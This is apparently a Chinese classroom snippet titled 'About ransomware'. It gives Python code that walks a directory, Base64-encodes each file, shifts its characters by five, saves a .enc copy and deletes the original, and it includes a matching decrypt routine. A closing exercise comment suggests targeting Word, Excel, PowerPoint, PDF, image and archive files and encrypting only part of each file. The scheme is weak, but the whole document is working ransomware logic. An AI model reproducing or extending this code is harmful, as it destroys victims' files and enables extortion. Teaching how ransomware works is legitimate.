一、关于勒索病毒
import base64, os ,json
# 针对某个文件进行Base64转码并加密保存
def encrypt(filepath):
with open(filepath, mode='rb') as file:
data = file.read()
source = base64.b64encode(data).decode()
# 加密算法:大小写字母右移5位
dest = ''
for c in source:
dest += chr(ord(c)+5)
# 将加密字符串保存到文件中
with open(filepath + '.enc', mode='w') as file:
file.write(dest)
# 删除原始文件
os.remove(filepath)
# 解密
def decrypt(filepath):
with open(filepath, mode='r') as file:
content = file.read()
dest = ''
for c in content:
dest += chr(ord(c)-5)
newfile = filepath.replace('.enc', '')
with open(newfile, mode='wb') as file:
file.write(base64.b64decode(dest))
# 删除加密文件
os.remove(filepath)
def all_path(dirname):
result = []#所有的文件
for maindir, subdir, file_name_list in os.walk(dirname):
# print("1:",maindir) #当前主目录
# print("2:",subdir) #当前主目录下的所有目录
# print("3:",file_name_list) #当前主目录下的所有文件
# count = 0
for filename in file_name_list:
apath = os.path.join(maindir, filename)#合并成一个完整路径
# print(apath)
result.append(apath)
# count += 1
# print(count)
# print(count)
return result
if __name__ == '__main__':
lists = all_path('D:\新建文件夹')
for list in lists:
# encrypt(list)
decrypt(list)
# encrypt('apath')
# encrypt('./test.pdf')
# decrypt('./test.jpg.enc')
# 课堂练习:遍历目录,对某些目录下的关键文件:Word, XLS, XLS, DOCX, PPT, PPTX,RAR,JPG,PNG,TXT,PDF
# 也可以对文件的一部分进行加密,将Base64字符串分成三部分,fisrt[0:200], middle[200:500]加密, last[500:]